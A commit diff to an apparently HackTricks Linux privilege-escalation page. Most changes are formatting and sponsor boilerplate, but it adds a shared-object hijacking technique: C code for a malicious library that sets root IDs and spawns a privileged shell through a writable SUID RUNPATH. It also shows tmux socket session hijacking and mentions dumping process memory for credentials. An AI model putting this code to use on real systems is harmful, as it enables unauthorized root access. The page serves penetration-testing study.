GitBook: [#3533] No subject
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@ -4,15 +4,11 @@
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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@ -282,7 +278,7 @@ done
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#### /proc/$pid/maps & /proc/$pid/mem
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For a given process ID, **maps show how memory is mapped within that process's **virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file.
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For a given process ID, \*\*maps show how memory is mapped within that process's \*\*virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file.
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```bash
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procdump()
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@ -342,7 +338,7 @@ Press Ctrl-C to end monitoring without terminating the process.
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To dump a process memory you could use:
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* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
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* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - _You can manually remove root requirements and dump the process owned by you
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* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you
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* Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required)
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### Credentials from Process Memory
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@ -532,7 +528,7 @@ Sockets can be configured using `.socket` files.
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**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured:
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* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
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* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF\_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
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* `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`.
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* `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
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* `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively.
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@ -1000,6 +996,41 @@ gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
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And execute the binary.
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## Shared Object Hijacking
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```bash
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# Lets find a SUID using a non-standard library
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ldd some_suid
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something.so => /lib/x86_64-linux-gnu/something.so
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# The SUID also loads libraries from a custom location where we can write
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readelf -d payroll | grep PATH
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0x000000000000001d (RUNPATH) Library runpath: [/development]
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```
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Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name:
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```c
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//gcc src.c -fPIC -shared -o /development/libshared.so
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#include <stdio.h>
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#include <stdlib.h>
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static void hijack() __attribute__((constructor));
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void hijack() {
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setresuid(0,0,0);
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system("/bin/bash -p");
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}
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```
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If you get an error such as 
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```shell-session
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./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
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```
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that means that the library you have generated need to have a function called `a_function_name`.
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### GTFOBins
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[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
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@ -1230,6 +1261,10 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i
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```bash
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tmux attach -t myname #If you write something in this session it will appears in the other opened one
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tmux attach -d -t myname #First detach the session from the other console and then access it yourself
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ls -la /tmp/dev_sess #Check who can access it
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rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
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# If you are root or devs you can access it
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tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
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```
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@ -1586,14 +1621,10 @@ Files that ship in packages downloaded from the distribution repository go into
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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||||
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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